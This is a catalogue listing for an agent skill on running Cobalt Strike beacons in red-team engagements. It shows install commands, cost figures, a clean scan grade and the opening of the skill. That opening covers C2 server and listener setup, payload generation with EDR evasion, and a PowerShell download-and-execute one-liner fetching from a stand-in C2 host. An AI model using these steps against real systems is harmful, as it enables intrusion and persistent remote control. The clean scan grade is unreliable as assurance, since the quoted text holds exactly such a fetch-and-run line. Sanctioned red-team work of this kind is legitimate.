Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/cobalt-strike-beacon-operationsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/cobalt-strike-beacon-operations)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cobalt-strike-beacon-operations"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cobalt-strike-beacon-operations/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cobalt-strike-beacon-operations"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cobalt-strike-beacon-operations.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00094 | $0.02767 |
| Opus 5 | $0.00047 | $0.01384 |
| Sonnet 5 | $0.00019 | $0.00553 |
| Haiku 4.5 | $0.00009 | $0.00277 |
Grade A, and why
cobalt-strike-beacon-operations scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- cobalt-strike-beacon-operations — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 306 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cobalt Strike Beacon Operations
When to Use
- During authorized red team engagements requiring professional C2 operations
- When conducting assumed-breach assessments with persistent access requirements
- When simulating advanced persistent threat (APT) operations
- When testing EDR/AV detection and security monitoring capabilities
- When you need advanced post-exploitation with opsec considerations
When NOT to use: For open-source alternatives, use sliver-c2-implant-operations or havoc-c2-demon-operations skills. NEVER use without explicit written authorization.
Prerequisites
- Licensed Cobalt Strike (valid license required)
- Red team infrastructure: redirectors, domains, SSL certificates
- Malleable C2 profile (don't use default!)
- Understanding of OPSEC principles
- Written authorization (Rules of Engagement document)
- Kill chain plan agreed with engagement stakeholders
Workflow
Phase 1: Infrastructure Setup
# Start Team Server (on Red Team server)
./teamserver <TEAM_SERVER_IP> <PASSWORD> <MALLEABLE_PROFILE>
# Example with custom profile:
./teamserver 10.10.10.100 RedTeam2024! ./profiles/amazon.profile
# Connect Cobalt Strike client
# File → New Connection
# Host: 10.10.10.100
# Port: 50050
# Password: RedTeam2024!
# Configure Listeners:
# Attacks → Web Drive-by → Scripted Web Delivery (for quick staging)
# Cobalt Strike → Listeners → Add
# Types: HTTP, HTTPS, DNS, SMB (named pipe), TCP
# HTTPS Listener (recommended):
# Name: https-c2
# HTTP Host: c2.attacker-domain.com
# HTTP Port: 443
# HTTPS Certificate: Let's Encrypt cert for your domain
# Profile: Use malleable C2 profile that mimics legitimate traffic
Phase 2: Payload Generation & Delivery
# Generate payloads:
# Attacks → Packages →
# Staged payload (small, needs callback to download full beacon):
# Windows Executable (exe, dll, svc)
# HTML Application (hta)
# Stageless payload (full beacon, no callback needed):
# Windows Executable (Stageless) — preferred for opsec
# Raw shellcode — use with custom loaders
# Payload best practices:
# - Use stageless over staged (less network artifacts)
# - Generate raw shellcode and use custom loader
# - Sign payloads with valid code signing certificate
# - Use process injection instead of on-disk execution
# - Obfuscate shellcode to evade static signatures
# Scripted Web Delivery:
# Attacks → Web Drive-by → Scripted Web Delivery
# Generates: powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://c2/a')"
# Custom shellcode loader (example concept):
# 1. Generate raw shellcode: Payloads → Stager → Raw
# 2. Encrypt with AES-256
# 3. Embed in custom C# loader
# 4. Add sandbox evasion checks
# 5. Use syscalls for injection to bypass EDR hooks
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 306 lines · 94 tokens per session scan A c7c9354f26fb
cobalt-strike-beacon-operations is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 94 tokens to every session and 2,767 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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